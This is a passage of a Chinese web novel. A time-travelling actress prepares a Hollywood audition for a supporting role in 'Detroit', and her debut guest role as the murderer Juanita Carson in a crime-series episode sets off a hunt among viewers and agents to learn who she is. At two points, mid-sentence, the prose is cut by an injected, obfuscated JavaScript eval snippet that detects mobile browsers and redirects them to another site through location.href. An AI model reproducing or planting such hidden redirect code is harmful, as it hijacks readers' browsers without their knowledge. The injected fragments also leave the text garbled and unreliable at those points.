《底特律》的剧情很简单,角色也不多。讲述的是梦想成为大明星的洛克希.哈特被情人欺骗,愤而开枪杀人,入狱以后遇到了她的偶像舞女维尔玛,而维尔玛此时正因为杀害通奸的丈夫和妹妹声名大噪,尽情地享受着名气带来的好处,对洛克希压根不屑正眼去瞧。这两个女人为了脱罪出狱,彼此间勾心斗角,牵动了整个故事。这整部片韵味十足、发人深省,用讽刺的语调讲述了上世纪20年代底特律的喧嚣与浮华,获得2003年的奥斯卡金像奖,珍妮认为是实至名归。 当然,洛克希和维尔玛这两个角色轮不到她,这种以女演员为主,适合大飙演技的片子,一定会找演技与人气都过硬的影后级女演员出演,珍妮能争取的也就是配角的位置。《底特律》的剧情有很多都发生在女子监狱,所以有一定戏份的女配角还是不少的,比如维尔玛在讲述自己入狱经过的时候,有一段精彩的囚室歌舞,里面每个女囚都有1、2分钟的独角戏,这在大银幕上已经是非常好的机会了。再往上则还有一个东欧舞女(珍妮忘记她的名字,试镜资料里也没写),她也因为谋害丈夫入狱,坚称自己是被冤枉的,后来被处死。作为故事里唯一死去的女犯人,在死前也有一段不错的表演。 但她还是低估了切萨雷的能耐,珍妮打开资料以后,发现她要去竞争的……是张美青在原片中的角色。 在过去的一个多月里,她也不仅仅是闷头学习,吉姆、戴夫和莉莉安都是她聊天的对象,对于演艺圈她还有很多不懂的地方,这几人则都是大行家——莉莉安也出身于演艺世家,虽然父母是医生,但她的叔伯有很多都是导演、制片人——有时随口指点迷津,都能让珍妮有茅塞顿开之感。这里面就有对角色运作难度的一些划分。 以一部投资上千万美元的电影为例,男女主角是绝对不可能被运作的,除非是这部片子是很罕见的独家投资,并且投资商指定要某人出演,否则男女主遴选一律是公事公办,只看谁最适合角色,关系再硬,也只能把人塞进试镜,但即使如此,也有可能在第一关就被导演或制片人刷下来。在好莱坞,每一部电影都是一次慎重的商业投资,谁敢拿投资人的钱开玩笑,就等于是自绝生路。 戏份吃重的男二、女二,也不可能完全打人情牌,必须看资历和本人表现,以《底特律》为例,这部片子实际上是三主角,三个主角都是资历过硬响当当的演技派,切萨雷就是再有本事,也不可能让珍妮一出道就竞争这样的角色,但他也的确是非常出乎珍妮的意料了,因为张美青在片中的角色,就明显是各大经纪人都在瞄准推新的俏角。 当然,好莱坞还算是很专业的了,如果是在中国娱乐圈的话,就陈贞所知,名导大片,戏份容易出彩的俏角,很可能都会是各演员花钱来买的——对,就是不收片酬还倒给钱,比如陈贞这种一穷二白的小人物,除非公司肯给出钱,否则压根都没机会排进面试里。 在《底特律》的试镜剧本里,并没规定角色的血统国籍,只是大概讲述了这位囚犯吉蒂的生平,她是夏威夷水果巨富家的千金小姐,对男朋友情有独钟,然而在回到豪宅时,意外发现情人和别人玩双.飞,掏枪杀掉三人以后,她立刻成为全国范围内的大红人,完全抢去了洛克希的风头。受到威胁的洛克希为此甚至不得不假装怀孕。 虽然出现在片子中段,戏份也就只有几分钟,说得上是昙花一现,但吉蒂的戏份却非常抢眼——她必须非常抢眼,才能让观众信服她有能力压下洛克希的风头。这是一个很出彩的角色,表演余地大,非常吸睛,而且难度也不高。 所以在这里就得拼资源了,不论是小有名气的女星还是刚出道的新人,肯定都会极力争取,珍妮都不知道切萨雷是怎么把完全没作品的自己给塞进试镜名单里的。 在原来的版本里,张美青此时正因为主演了《霹雳娇娃》而声名大噪,虽然她的长相在东方可能算不得倾国倾城,却正好是西方人非常迷恋的亚洲古典美女,再加上她会说流利英语,和主流文化圈融合得好,所以最终拿下这个角色,成为了夏威夷水果大王之后,但珍妮不会以为吉蒂一定就要是亚洲人,张美青能拿下这个角色,一方面说明她实力过人,一方面也说明她的经纪人关系强,当时她得到的资源倾斜多。因为在她记忆里,也是这几年出品的《杀死哈利》里,张美青的戏份也很多。 和成片以及原音乐剧不同的是,在试镜剧本也给吉蒂安排了一段歌舞,很可能本来导演也想做些改编,但后来考虑到剧情完整度,又做了删除。所以,试镜要求里还包含一定的歌舞基础。 珍妮在看完试镜剧本以后,感觉没什么太大难点,距离试镜还有一个多月,她可以游刃有余地掌握这个角色,唯独纠结的地方,就是她抢走或者预定抢走的是张美青的角色。 当然,从她带着金手指回来的这天起,就注定了会发生这样的事,珍妮也已经说服自己这没什么大不了的,起码比抄别人的电影强很多。抄袭别人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15274134|166666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的整本电影,等于是把创意拿来完全自己用了,但抢走注定会成功的角色,你也没法完全用原来那个演员的方法去演,还是得自己努力。 如果说这演员本来的演法非常成功,那珍妮估计自己也抢不走这个机会,毕竟每个人的演法最适合的人肯定都是她自己,珍妮不可能完全仿造着茱莉亚.杰斯茨去演,然后打败茱莉亚.杰斯茨。要说她有什么作弊的地方,那也只是她的选片会比别人更精准,但是说到底,这竞争还算是公平。如果道德感高到连这个优势都接受不了,那她也可以别混好莱坞了,毕竟每个角色都会有人去竞争,她如果不愿意和别人抢角色,怎么在娱乐圈往上爬? 不过,如果张美青是任意一个白人女星的话,她可能都没什么感觉,但这一位偏偏是好莱坞本来少见的亚裔,作为白皮黄心鸡蛋人,珍妮对于挤压她的角色的确很过意不去。——好在这也并不是张美青的重要作品,也就是打个几分钟的酱油,对于已经在好莱坞崭露头角的她来说,这算是锦上添花,但对珍妮来讲,这是她绝对不能错过的机会。 “其实本来还有一个配角,出场时间更多。”吉姆见珍妮读完了剧本,就和她闲聊,“但切萨雷嫌她的戏份露脸少,而且没什么空间,所以还是选择竞争这个。再说那个也不适合你,那个需要东欧女人,你的长相实在太不东欧了。” “还在筹拍中,切萨雷就看过全部剧本了吗?”珍妮有些好奇,毕竟大部分经纪人可能只知道这两个角色在找人,制片方这边可不会把两个角色的戏份多少,或是发挥余地大不大到处拿去讲。 “切萨雷是凯蒂的朋友,”吉姆有些淡淡羡慕地说。“他前几天在西班牙和凯蒂一起闲谈,席间看了剧本。这个角色是他一眼相中的,立刻就为你争取到了试镜。” “西班牙?”珍妮更奇怪了,“现在的西班牙有什么演艺界的大活动吗?” “没有。”吉姆耸了耸肩,“但李斯正在伊比莎度假,切萨雷和他在一起。你知道李斯也是CCA的客户,他有一部分业务是切萨雷在负责。” ……没话说了,珍妮只能感谢自己居然会被切萨雷签下了,人家这个牛法,那绝对不是一般经纪人可比的。难怪会在这时候去西班牙,估计此时的伊比莎是星光熠熠,他是过去社交的。 “他不是说他不分享吗……”珍妮忍不住轻声嘀咕了一句 吉姆耳尖,他呵呵地笑了起来,“是啊,他的所有物是不容别人分享,不过,让他去分享别人的所有物,切萨雷也不会说不的。啊,我们到了。” 珍妮被他带到舞蹈教室,大秀了一番舞技,她当时为了保持身材,学过各种有健身效果的舞蹈,本身也有一定天赋和兴趣,不说是舞技一流,起码经过一定强化,上电影做个配角是没问题的。舞蹈老师对她赞不绝口,而吉姆也只能在目瞪口呆中退出去给切萨雷打电话。 看着他的表情,珍妮心里终于还是找到了一丝自信:也许,就像切萨雷在她眼中是个怪物一样,在别人眼中,她也是个怪物呢? 舞蹈课她还是在上,只是换了更进阶的课程,之后一个多月内也没有什么新的试镜机会,珍妮把空余时间都拿来有针对性地准备吉蒂这个角色,不知不觉间,一个月一晃而过。2001年的9月份到了。 9月份会发生很多事,注定和珍妮没什么关系的911——《底特律》试镜倒是因此被推后到了10月——各大院校的开学——华盛顿的换毛——莉莉安的轮班规律—— 当然,还有在9月27日准时回归的《CIA:犯罪现场调查》。 21. 珍妮的首秀 虽然整个国家的关心焦点都在911上,但人总是需要娱乐的,别称‘老人台’的TVS更是不缺少观众,尤其是TVS的罪案剧,一向是品质保证,因此人气都是很高。2000年开播的《CIA:犯罪现场调查》,就是表现相当不错的新剧,第一季就吸纳了超过2000万观众,收视率可以达到10点以上,牢牢地盘踞了周一的霸主地位,以陈贞以前的印象来说,要到第十季以后,这个数据才会因为种种原因而下降,但即使如此,基本的水准也依然在。 才刚开始的第二季,正处在剧集发展史上最为黄金的时期,被安排在周一强档的八点档——这可是当家剧集的地位,再加上又是回归第一集,收视人数和上一季比,理论上是会有一个小冲高。而不论是上一季的忠实观众,因为宣传和DVD被吸纳进来的新观众,只是开着电视,一家人在聊天走动的无效观众,又或者是TVS的高层,在周一晚上8点,都是把频道对准了TVS,收看起了刚刚回归的《CIA:犯罪现场调查》。 故事一开始,是简短的前情提要和人物介绍,紧接着便切换到了热闹的歌舞现场,这里是拉斯维加斯知名的凯撒皇宫赌场,为了吸引人气,赌场洒下大把金钱,天价请来了当红歌星华妮塔.卡松进行为期一年的驻唱,而现在正是演唱会的高.潮阶段,台下尖叫、掌声一片,从远景可以见到,华妮塔在走来走去,不停地和观众互动。 几个快速的镜头切换,便把这些信息交代得一清二楚,砸下不少预算铺出的光鲜特效——舞台效果乃至台下的观众,都是经过特效合成而来,由于钱多的关系,做得精细而高档——也让不少观众眼前一亮,虽然还没有露出正脸,但在台上走动的华妮塔已经引来了一些年轻女观众的注意。 “该不会是什么大牌歌星客串吧?” “看着挺有星味的,但之前没听到电视报道啊,我上雅虎查查。” 在雅虎上的搜寻当然不会有结果。镜头一转,几个服装助理一边说话,一边拿着一条长裙匆匆往服装间里跑,从对话中可以得知,华妮塔下一件要换的衣服意外绽线了,现在还有五分钟时间,可以进行快速缝补。 和光鲜亮丽的前台比,后台的换装间十分凌乱,服装师不知去了哪里,服装助理心急火燎地找到针线,抱着长裙又往回跑,跑了几步以后,她忽然脚步一顿,眼神慢慢下移——原来,黑色晚礼服下摆拖了地,不知什么时候,已经沾满了水分。 “搞什么啊!”助理忍不住骂了一句脏话,她拿起裙摆试图用手把水分压出来。然而,当她摸过裙角过后,脸色却慢慢地改变了。镜头也随之来了一个变相——原来从服装间往外,一路已经拖了一条长长的血痕,而且还有十分凌乱的血脚印。 镜头再一个切换,服装间已经成为侦破现场,在一扇屏风后,CIA小组的几个成员正在快速给现场拍照、做记号。高大英俊的尼克念着死者生平,“朱迪.华兹,36岁,离异、无子,专业服装师,为华妮塔.卡松团队工作了十多年。” 侦破过程就此展开,由于华妮塔.卡松本人十分忙碌,并且案发时拥有充足的不在场证明,所以一开始她并未进入询问名单。然而,经过调查,CIA发现受害人最后一次露面事实上已经是前一天晚上,这一天服装助理前去取衣服时,只是在屏风后看到她的人影,以及在门口发现了挂满华妮塔衣服的推车。 很快,法医发现了新的证据,把死者朱迪的死亡时间往前推移了二十多个小时,又在死者的衣领上发现了华妮塔的头发,她顿时成为嫌疑人之一。而此时她正在洛杉矶出席颁奖晚会,所以尼克奉命前往洛杉矶立刻把她纳入控制。 带领了好几个洛杉矶警察,尼克没有惊动任何人,悄然来到了颁奖典礼的嘉宾就坐区,礼貌地点了点华妮塔的肩膀,“华妮塔.卡松?” 华妮塔闻声回头。 她非常美。 这一句话已经足够涵盖这个镜头的意图了,但电视机前的观众接收到的信息更为全面,在光怪陆离的舞台灯光,以及西装革履衣香鬓影的出席嘉宾陪衬之下,华妮塔的整张脸仿佛都在发光,金发、蓝眼、红唇组合成了经典的好莱坞美女配置,但这五官的美并不是全部。 并不像是一般连续剧里的所谓明星,往往很难给人以‘这真是明星’的说服力,华妮塔.卡松的气质实在是太明星了,在镜头前,她自然而然地展现出了慵懒自在的统治感,甚至还有些好莱坞黄金时代的痕迹,那种悠然自得的典雅气质,以及毫不造作的性感,都让她的瞬间亮相,达到了真真正正的惊艳效果。 她仿佛对警察的到来毫不意外,并没有流露丝毫紧张和恐慌,反而是摆了个颇为诱惑的姿势,压低声音说道,“Yes?” 尼克和警察们全都没有说话——很明显,他们已经完全被华妮塔的美貌镇住。 华妮塔奚落地看了众人几眼,对尼克尤其感兴趣,多打量了一会,这才冲着尼克,目标明确地笑问,“Yes?” 尼克的喉结很明显地动了一下,看得出来,他在努力寻找着自己的矜持和理智,“你、你涉嫌谋杀朱迪.华兹,贝尔女士,恐怕得请你和我们走一趟了。” 这时旁观的各大明星都露出关注表情,摄像师更是对着这里瞄准了镜头,华妮塔冲男伴摊了摊手,美不胜收地做出了一副困扰的姿态,这才配合地站起身,尼克立刻示意几个警察跟随在华妮塔左右,以便控制她的举动。 摄影师已经扛着摄像机,在华妮塔身前不断倒退拍摄特写,华妮塔步履从容,并不遮挡面部,反而对尼克说道,“警官,如果你不介意的话,可以换到我右边吗?” 尼克困惑地盯着她,没有马上答应,华妮塔嫣然一笑、眼波流转,“我的脸从左边拍比较好看。” 她镇定的态度,顿时在荧屏前激起了阵阵轻笑,许多观众的情绪都被调动了起来:这是个难缠的嫌疑犯,看来,这一集有好戏看了。 而与此同时,自打华妮塔现身起,包括青少年男女在内,很多年轻观众都是大吃了一惊——相对父辈来说,他们是对流行娱乐最敏感的族群,很多女孩子都是娱乐达人,对影视歌圈子的名人如数家珍。可他们没人认识这个漂亮得让人惊艳,气质又极为夺目的‘华妮塔.卡松’。 当然了,美国的青少年可不知道什么叫做‘气质夺目’、‘巨星气场’,他们能感觉到的就是自己对华妮塔.卡松这角色以及演员的强烈兴趣,个别比较容易被攻陷的观众已经在庆幸了——还好录下了今晚这集,这样稍后播放结束以后,就可以一再重看华妮塔回头这段了。那种一转头的惊艳感,即使在大制作里也很少出现,没想到CIA这一集找了这么美的客串演员,制作得这么精良! “琼恩,这是哪个明星?”家长中也有不少感兴趣的,“她可真是漂亮,我们可以去租些她演的电影来看看。” “我不知道,妈妈,”少女有些沮丧,“我已经搜了几遍了,没人知道她是谁,一会我们看片尾字幕吧。” 普通观众也只能这样了,至于经纪人、影视公司,他们的方式更直接,现在TVS电视台工作人员的几部电话都很繁忙,全是偶然看到演出的相关人员打来询问‘华妮塔.卡松’的。 “这女孩有种魔力,好像能把低级廉价的布景都变得闪闪发光。”资深剧迷、影迷的评论要更专业,他们的BBS上已经出现了帖子,“CIA201,华妮塔.卡松,她是谁?” 屏幕上,剧集仍在继续,CIA小组在实验室中分析出了朱迪的死亡过程,认为她应该是被认识的人在一间小屋中刺死,并且在死前挣扎反击,击伤了凶手。而华妮塔因为肩膀上有一块淤青,死者身上又有她的头发,嫌疑大大上升,然而目前仍然缺乏有效证据,以及可能的动机。CIA的小组成员轮流询问华妮塔,反复采用讯问技巧都一无所获。华妮塔态度超然、证词确凿,看来对自己被抓很有准备,在讯问中也常常反客为主,调戏主要负责讯问她的尼克。她的一言一行都仿佛往外散发着性.感气息,尼克明显受到了她的诱惑,但对他的怀疑也越来越盛。 “回答我,”再又一次盘问无果后,尼克情绪失控,他猛击桌面,“死者身上为什么会出现你的头发。” 华妮塔的律师立刻提出抗议,CIA小组组长杨森进屋替换尼克。尼克不甘心地看了华妮塔一眼,转身离开审问室,而华妮塔的眼神一路追随他走出房门,又好像能看穿单向镜一样,看向了进入审讯室后方观察室的尼克。 她露出了自信的微笑,仿佛是在告诉大家:她的确杀了人,但有自信做得干净利落,让别人拿不到证据。 “看来,我们遇到麻烦了。”在镜面后,组员华瑞克轻声呢喃,“这是我最讨厌的一种犯人。” 这句话是上半集的结束,一阵音乐声以后,集间广告开始了。 # 有一部分观众走开去上厕所,有些观众忙起了别的事,但也有很多观众开始讨论,以及上网搜索华妮塔.卡松的演员,个别比较好事的观众,更是直接把电话打到了电视台,可惜,值班电话也无法给与他们答案。在几个剧迷经常登入的讨论版如IMDB的CIA板块,关于‘华妮塔.卡松’的讨论帖已经有数十人跟帖,人们对这个忽然间出现,演技成熟、气场强大,长得又很漂亮的演员都很好奇,几个极端的剧迷甚至认为‘她提升了这一集的格调’。 然而,等到下半集,这些新科粉丝多少有些失望,由于一直没有获得决定性证据,华妮塔在拘留期满后离开了警局,尼克带领几个同事,突击式地搜查了她的家和案发现场凯撒皇宫的休息室,都是一无所获。法官拒绝再签署调查令,华妮塔暂时没事了——这也意味着她在短暂现身后,戏份已经减少。接下来的表现时间,让给了主演们。 经过严密的推理以及对死者账户的调查,小组推断死者曾经勒索过华妮塔,然而勒索资料和杀害死者的凶器一起不翼而飞,只有不定期的转账记录,证明华妮塔和死者有一定的经济往来。但因为她是华妮塔多年的服装师,法官并不采信这个证据。眼看案件要因为证据不足而被迫结案,尼克抱着最后的希望来到凯撒皇宫,想要从华妮塔口中骗出线索,也就是珍妮试镜时演出的那一幕。 “我可以进来吗?”尼克敲了敲门。 “请进。”华妮塔懒洋洋的声音传了出来。电视机前的观众们都来了精神——熟悉电视剧节奏的观众都能想得到,这应该是这一集的最后一个转折了,也许华妮塔就会在此刻露出破绽,又也许,她会是CIA里很少见能逃之夭夭的凶手。 如果是这样的话,她将是CIA第二个安然无恙,无法被证明有罪的凶手,上一个一样是女性,出现在第一季二十一集,除此以外,CIA要对付的罪犯几乎都逃不脱他们的侦缉。这样的特殊待遇,似乎也很适合华妮塔这么一个‘特殊’的凶手。 “我是来恭喜你的。”尼克说,抱着手靠在门边,“听说你现在红透了,全国都在谈论那起凶案,我想这对你来说是好事。” “对我来说是好事?”华妮塔慢吞吞地重复,她的眼神多情地在尼克脸上游移,声音轻了下来。观众们不约而同地感觉到,她正在对尼克做出无言的邀请,“告诉我,这对我来说怎么才能算是好事?因为凶杀案出名,让我的PR忙疯了?你知道PR吗?Publicrelations。” 华妮塔一直在用演艺圈内的专业术语嘲笑尼克,但这嘲笑中总是带了些调情的意味。而尼克也总是不解风情地不予回应,现在也是一样,他严肃地说,“明星永远不会嫌关注太多,这个道理是你被捕那天告诉我的。” 华妮塔的表情发生变化,她白了尼克一眼,转头开始补妆。 尼克拿出证物袋,证物袋里是受害者的手套,上面沾满血迹。“你知道这是什么。” 华妮塔从镜子里看着尼克,语气冷淡而无聊,“这是朱迪的手套,你想说明什么?——这不还是你给我看的照片里出现的吗?” “是的,这是朱迪的手套,她死的时候戴着它,在一百码以外的服装室里。她受了致命刺伤,慌乱之下捂住伤口,这上头沾满了她的血。但我们找不到第一现场,服装室里的血迹范围太小,没有喷溅痕迹,凶手把她从第一现场拖到服装室。然后洗刷了血迹,做得很干净,我们没找到什么证据。”尼克缓缓说,双眼紧盯华妮塔,而华妮塔丝毫不为所动,她的气势完全压过了尼克。 尼克又说,“我们搜索了你的休息室,没有血迹反应。” 华妮塔终于失去耐心了,她对着径自翻了个白眼,“你在耽误我的时间,警官,我现在要去接受一个很重要的采访。《VOGUE》,你知道吗?V-O-G-U-E。” 尼克露出了从容的笑意,仿佛一切尽在掌握之中,他忽然掌握了场上的主动,开始一步步靠近华妮塔,“让我和你分享一个理论,卡松女士,假设地说,是你杀了朱迪,原因是我说的,朱迪以你的一些过去来威胁你,假设地说,你已经把一切痕迹都已经抹去,我们都知道,很凑巧地,你的房间在凶案发生后被清洁工用漂白水擦洗过——在你的要求下。而漂白剂足以破坏残留的血迹,让我们无法提取到有效样本。假设地说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15274135|166666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到目前为止,我们也没有拿到你的在场证明。目前看来,这个假设的你在强大律师团的支援下,已经足以逃脱法律的惩罚,是吗?我们找不到合适的证据来证明你的动机,也没有足够的证据证明你在第一现场,我们甚至找不到第一现场……那么,这是不是说明这个假设的你已经足以脱罪了呢?” 这危险的对话,似乎让华妮塔很有兴趣,她露出谨慎的笑容,“假设地说,似乎是这样?” “然而,华妮塔女士,”尼克不紧不慢,胸有成竹地说,“我今天来是和你分享一个好消息,朱迪留在第一现场的并非只有她的血。我们已经推断出这是一起熟人作案,事出突然,朱迪受刺后尽力和凶手搏斗,很可能在凶手身上留下了一些伤痕。” 华妮塔不由自主地一起和尼克一起看向了她肩头的一处伤痕,这正是华妮塔之前被列入嫌疑人的重要原因。 尼克已经相当接近华妮塔,快把她压到椅背上,“而这是一双羊绒手套,它的手背有撕扯痕迹,这证明凶手在和朱迪打斗的过程中扯坏了她的手套。而根据我们的模拟凶案过程,朱迪在快速失血后迅速丧失反抗能力,在跪倒过程中她想要找些支撑,但最终没能成功,反而被粗糙的墙面留下几处撞伤,所以在手心和指尖留下了伤痕,你瞧——很明显的破损。而这双被撕破的羊毛手套,在这个过程为我们留下了至关重要的宝贵线索——羊毛纤维。在第一现场,她留下了足以定罪的证据,带着血的羊毛纤维。” 华妮塔终于脸色微变,她仿佛完全失去了主动权,在尼克强大的信心下,不由自主地瞥向一面粗糙的装饰墙。 尼克双眼一亮,他一个箭步来到墙边,打开手电仔细地检查墙面—— 然而,他但一无所获,墙面十分干净,没有任何痕迹。 当他挫败地抬起头时,华妮塔已经又开始补妆,两人眼神在镜中相会,华妮塔冲他优雅地一笑,笑中饱含了得意和狡猾,有毒却又迷人。她起身,款款走近尼克,伸手靠近证物袋,尼克把证物袋藏到身后。华妮塔继续抬手,轻抚尼克脸颊,再走近一步,几乎在他唇上落下一吻,但在要触到尼克唇瓣时,又微微一笑,从容退开。 电视机前发出了响亮的叹息声,许多少女眼中已经冒出了心心,欣赏起了华妮塔的风情,而男性观众却是情不自禁地把自己代入了尼克的角色,仿佛受到华妮塔强大诱惑的人正是他们。 “她的气(Chi)太强大了。”琼恩不禁赞叹道。“妈,你真的没在电视剧里看过她吗?会不会是看过了你却不记得。” 她的观剧量不如作为家庭主妇的母亲大,不过,琼恩妈妈却反问,“为什么老嫌我记性不好,你确定真的没在网络上找到她吗?” 这样的问题在许多观众中不断重复,而在电视机中,尼克往前跟随了一下,似乎是想要挽留她的吻,但很快又强迫自己放弃,他的眼神中流露出了被压抑的激.情,而华妮塔却是收敛了对尼克的兴趣,客客气气地说,“我说过,我有个很重要的采访。你拥有我的搜查许可,警官,请便。” 在尼克不甘的表情中,华妮塔露出神秘莫测的笑意,转身款款离开了化妆间,经过门口停放的清洁车时,她看了看车上的大清洁水桶,又不自觉地摸了摸自己肩上的伤痕——她的伤口和清洁车把上的LOGO正好吻合。 几个画面快速切入,华妮塔在杀人后来到门口拖入清洁车,脚下一软,撞上车把,她不顾疼痛的手臂,把尸体塞入大水桶中,倒入冰块,然后套上清洁工制服,带上帽子,哼着歌将车推向了服装室。这时正是演唱会结束后不久,后台兵荒马乱,根本没人会多看清洁工一眼。 来到服装室以后,华妮塔布置好现场,又拿出服装按顺序排好,最终她又推着清洁车回到休息室,把自己锁在休息室里,仔细地用漂白水擦拭过第一现场,眼尖地拔掉了手套留下的纤维。而后若无其事地换上华服,款款步出休息室,驱车前往码头,登上游艇和达官贵人们周旋。 当她独自凭栏时,华妮塔镇定地伸手探入晚宴包中,抽出凶器,将它投入了海里……而后,她从容地一笑,转身又回到了酒会之中,拿过了侍应生送上的一杯酒。 仿佛是看到了摄影机一般,她半抬起头,对着镜头绽开了得意而欢快的笑容,举了举手中的酒杯。 画外音响了起来,正是华妮塔之前说过的一句话:任何人都可以成为明星,只要有足够的胆量,又经过足够的练习,最重要的,是你必须要足够仔细,这世界上所有的事,只要你足够仔细,都可以做到完美。 剧集至此结束,画面骤然黑暗,片尾曲响了起来。这一集给观众留下了许多疑云:华妮塔因为什么事被勒索?为什么对杀人毫无愧疚之意?尼克会放弃追查吗?这是华妮塔第一次杀人吗?她为什么这么熟悉?难道真的和她说的一样,她在此之前,已经有过多次练习? 当然,还有最重要的,这个漂亮的大明星究竟是谁?又出演过什么片子?她不像是演艺圈的新人,但又的确没在别的地方见过她的面孔。 往常都是垃圾时间的片尾字幕,现在迎来了许多人的关注,很多人都是唯恐错过了快速的切换,因此目不转睛地盯着屏幕,直到‘华妮塔.卡松:珍妮弗.杰弗森’这一行字出现,才是松了一口气地立刻前去查询起来。 而在比弗利山庄内,莉莉安高兴地举起双手,欢呼了一声,“我真为你骄傲!亲爱的,你演得太好了!” 吉姆也在旁一个劲的鼓掌:今天莉莉安刚好休假,她邀请吉姆过来吃晚饭,顺便和她们一起看珍妮的屏幕首秀。 “真的是太棒了。”吉姆也是丝毫不吝惜自己的夸奖,“我真是太有眼光了,亲爱的,现在全世界都会恨我!相信我,整个好莱坞都会想要你,但他们只能哀叹自己晚了一步,因为吉姆.德沃已经把你给签走了!哈哈,宝贝,他们会很恨我的!” 珍妮也顾不上去纠正吉姆的错误说法:她签的经纪人是切萨雷。她盯着电视,有些困惑和不快,“等等——他们把我的名字给打错了!是珍妮(Jenny),不是珍妮弗(Jennifer)。” “哦。”吉姆从兴奋中冷静了下来,他瞟了珍妮一眼,“不是打错了……是切萨雷的交代。从现在起,你的官方名字不叫珍妮了,珍,应该是珍妮弗才对。” “为什么?”莉莉安困惑地说,“当然,这两个名字只是拼写不一样,但——” 她忽然皱起眉,“是和贝尔有关吗?” ——珍妮弗.贝尔,目前享受一线待遇的青春玉女,也是刚刚和切萨雷‘分手’的前任客户。 22. 错觉 虽然只是一部电视剧的一集,重要性还远远不到由专业影评家来撰写评论的地步,但在2001年,网络正在迎接它爆炸式的增长,有很多网民已经是自发地形成了社交圈子,这其中当然也少不了由影迷、剧迷组成的小圈子,他们往往以IMDB的讨论版为依托,认真地为电视剧、电影的表现打分,并且展开讨论。而CIA作为关注度比较高的TVS当家罪案剧,当然也吸引了不少眼球。 这一集播送完了以后,讨论版上立刻迎来了一波发帖热潮,帖子数量要比平时更高上许多。大部分人都给新集打了表现优异的8分,而讨论的重点,却还是围绕着华妮塔.卡松,以及扮演她的珍妮弗.杰弗森。 ‘我认为CIA201是相当出色的剧集,秉承了一贯优良的传统,技术细节真实,推理也很扎实,但在华妮塔的表现下,剧情显得过分单薄,完全被珍妮弗.杰弗森的表演盖过了风采。播送完成半小时以后,当我回顾剧情时,想到的只是华妮塔倾国倾城的表现,以及对于重看她出场每一分钟的迫切。剧情没能给我留下任何印象,完全沦为衬托华妮塔美貌的背景,如果从观赏角度来说,选择珍妮弗.杰弗森是正确的,她完全点亮了整部剧集,但从最终效果来说,制片方做了个错误的选择。华妮塔的美貌和演技都是大屏幕级别的,如果在今年的大制作里看到她做女主角,我也不会有丝毫讶异,让她来电视剧里做配角,就像是把一个庞然大物塞进小格子,让整集都显得失衡。’ 这是目前排名第二高的帖子,赞同和反对大概是一半对一半,很多CIA的忠实粉丝对于华妮塔的新晋疯狂粉已经心生反感,纷纷罗列出一些对峙场景,证明别的演员在华妮塔跟前一样是游刃有余,而珍妮弗.杰弗森的演技还过分外放、粗糙。也有很多人力证剧情本身优良严密,没有漏洞,而且让人印象深刻。 这样有理有据的讨论却只能屈居第二,排名第一的帖子非常简单粗暴,标题和发帖内容都只有一句话:‘珍妮弗.杰弗森到底是谁?有人听说过她吗?’ 跟帖讨论里已经有网友表示,IMDB里没她的资料,刚出现的演员页面还是网友自发建立的,创建时间就在刚刚而已。也有人说自己给电视台打了电话,电视台也不知道珍妮弗.杰弗森是谁,之前有过什么作品,按他们所说,这个级别的客串都由剧组负责。 剧组的电话就不是人人都能拿到的了,大家只能彼此安慰,相信时间会揭晓答案。在珍妮弗的演员页面,已经有几个最初的忠实粉丝在彼此留言,分析着珍妮弗日后的发展,彼此坚定信心,相信一定会再看到她的表演。更是贴出了CIA重播的时间,让一些没有录下表演的新粉丝可以把握机会,以供日后反复重温。 至于CIA剧组,从扮演尼克的盖文.艾德斯到制片人理查德.克顿,都接到了好几个电话,来询问华妮塔.卡松的底细,当然,还有她的联络方式。——在好莱坞,想要成名的年轻人很多,但对于各大经纪公司乃至选角部门来说,他们却不会因此就高高在上,只等着别人来找上门。优秀的人才,在什么时候都是凤毛麟角,华妮塔如果只有美貌,不会有这么多人打来电话,如果只有演技,可能热度都没这么高,最关键的是,她有气场。 “这女孩仿佛自带了一个聚光灯。”经纪人杨格.布兰奇有丝兴奋地在电话中和林奇——戴夫的朋友——说起,“我们一定要得到她,在五年内,我有把握把她推上一线制作女主角的位置。林奇,别害羞了,快把她的电话号码找出来告诉我。顺便,我认为你们应该请她再来客串,哦,不过这可以等她同我签约后再和我谈。” 这样的电话并不是第一通,林奇也不是第一个被骚扰的剧组成员,事实上,今晚剧组众人接到的电话之多,足够让他们产生错觉:今晚,全世界都在寻找珍妮弗.杰弗森。 但,这些电话得到的回复也都是大同小异:“她已经被签走了,你们还不知道吗?” 林奇这边更是附加了一句,“就是被你CCA的同事切萨雷.维杰里。我还以为你已经知道了,那天维杰里破例出现在片场看她表演,我不是开玩笑,玛格和乔佳(CIA两大女主演)都妒忌得快发了疯。” “什么?维杰里!”相似的惊呼声在许多电话的另一端响起,许许多多经纪人都有些咬牙切齿,“怎么又是他!” 他们之前都以为珍妮弗没有经纪人,或者在原来的经纪人手下并不受重视,因为她虽然在这一集里戏份很吃重,而且表现非常亮眼,但却是没有出现在片头的客串名单,在片尾也没有SpecialGuest的字样,而是中规中矩地在片尾演员表里出现。如果她有经纪人,肯定会为她争取相应的待遇,而不是和现在这样放任自流。 当然,还有一些一眼看中了珍妮弗的选角人员却是笑逐颜开,挂了电话就转身去联系维杰里,作为好莱坞近几年颇负盛名的经纪人,维杰里的联系方式自然一点也不难获得。 